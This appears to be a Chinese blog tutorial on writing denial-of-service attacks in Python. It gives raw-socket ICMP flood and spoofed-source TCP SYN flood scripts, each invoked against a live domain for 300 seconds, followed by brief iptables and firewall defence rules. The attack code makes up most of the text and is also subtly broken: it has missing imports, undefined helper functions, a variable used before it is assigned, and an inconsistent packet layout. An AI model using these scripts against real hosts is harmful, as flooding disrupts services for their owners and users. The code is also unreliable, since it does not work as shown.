Python中的DoS攻击Payload实现与防御
Python中的DoS攻击Payload实现:
- ICMP Flood 攻击:
ICMP Flood 攻击会快速地向目标主机发送大量 ICMP Echo 请求消息。由于 ICMP 请求是被大多数网络设备允许通过的,因此这种攻击可以占用网络带宽,并导致目标服务器过载。
攻击代码如下:
import os
import random
import socket
import sys
构造 ICMP Echo 请求消息
def create_packet(id):
"""构造 ICMP Echo 请求消息"""
# ICMP Type Code: 8,表示 Echo 请求
type_code = b'\x08\x00'
# 校验和初始化为 0
checksum = b'\x00\x00'
# 16 位识别符
identifier = id.to_bytes(2, byteorder='big')
# 16 位序列号
sequence_number = b'\x00\x00'
# 数据负载,长度为 64 字节
payload = b'Q' * 64
# 将所有字段拼接到一起,形成 ICMP Echo 请求消息
return type_code + checksum + identifier + sequence_number + payload
发送 ICMP Echo 请求消息
def send_packet(sock, dest_addr, packet_id):
"""发送 ICMP Echo 请求消息"""
# 构造 ICMP Echo 请求消息
packet = create_packet(packet_id)
# 发送 ICMP Echo 请求消息
sock.sendto(packet, (dest_addr, 0))
发起 ICMP Flood 攻击
def icmp_flood(dest_addr, duration):
"""发起 ICMP Flood 攻击"""
# 创建 ICMP Socket
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
# 生成 Packet ID
packet_id = random.randint(0, 65535)
# 获取攻击开始时间
start_time = time.time()
# 持续向目标主机发送 ICMP Echo 请求消息
while time.time() - start_time < duration:
send_packet(sock, dest_addr, packet_id)
# 关闭 ICMP Socket
sock.close()
启动 ICMP Flood 攻击
icmp_flood('pidancode.com', 300)
防御 ICMP Flood 攻击:
在 Linux 上可以使用 iptables 来阻塞 ICMP 数据包。
iptables -A INPUT -p icmp --icmp-type 8 -s <攻击来源 IP> -j DROP
在 Windows 上可以使用 Windows 防火墙的高级安全来设置入站规则,阻止 ICMP 数据包。
- TCP SYN Flood 攻击:
TCP SYN Flood 攻击会向目标主机发送大量 TCP SYN 数据包,但不会发送 TCP ACK 数据包以确认连接,从而占用服务器的所有连接资源。
攻击代码如下:
import socket
import random
构造 TCP SYN 数据包
def create_packet(dst_ip, dst_port):
packet = b''
# 源 IP 地址为随机选取的一个 IP 地址
src_ip = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
# 源端口为随机选取的一个 1 到 65535 的数字
src_port = random.randint(1, 65535)
# 目标端口
dst_port = dst_port
# TCP Flags: SYN = 2
flags = 0x02
# TCP Sequence Number
seq_num = random.randint(1, 0xffffffff)
# TCP ACK Number
ack_num = 0
# TCP Window = 8192
window = socket.htons (8192)
# TCP Urgent Pointer = 0
urg_ptr = 0
# 构造 TCP SYN 数据包报文段
packet = struct.pack('!HHIIBBHHH', src_port, dst_port, seq_num, ack_num, (5<<4)|2, 0, window, 0, urg_ptr)
# 计算 TCP 消息的校验和
checksum = calc_checksum(ip_header + packet)
# 将校验和放入 TCP 数据包头部
packet = struct.pack('!HHIIBBH', src_port, dst_port, seq_num, ack_num, (5<<4)|2, window, checksum) + packet
# 构造 IP 数据包头部
ip_header = create_ip_header(src_ip, dst_ip, packet)
# 返回构造完成的 TCP 数据包
return ip_header + packet
发送 TCP SYN 数据包
def send_packet(packet):
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
s.sendto(packet, (dst_ip, 0))
s.close()
发起 TCP SYN Flood 攻击
def syn_flood(dst_ip, dst_port, duration):
"""发起 TCP SYN Flood 攻击"""
start_time = time.time()
while time.time() - start_time < duration:
packet = create_packet(dst_ip, dst_port)
send_packet(packet)
启动 TCP SYN Flood 攻击
syn_flood('pidancode.com', 80, 300)
防御 TCP SYN Flood 攻击:
在 Linux 上可以使用 iptables 来阻塞大量 SYN 数据包。
iptables -A INPUT -p tcp --syn -m limit --limit 10/s --limit-burst 20 -j ACCEPT
iptables -A INPUT -p tcp --syn -j DROP
在 Windows 上可以使用 Windows 防火墙的高级安全来设置入站规则,阻止大量 SYN 数据包。
参考链接:
https://wiki.archlinux.org/index.php/DoS_protection
https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-dos-attacks-with-fail2ban-on-ubuntu-14-04
https://blog.cloudflare.com/a-tcp-labs-experiment-uncovering-sporadic-connection-errors/
相关文章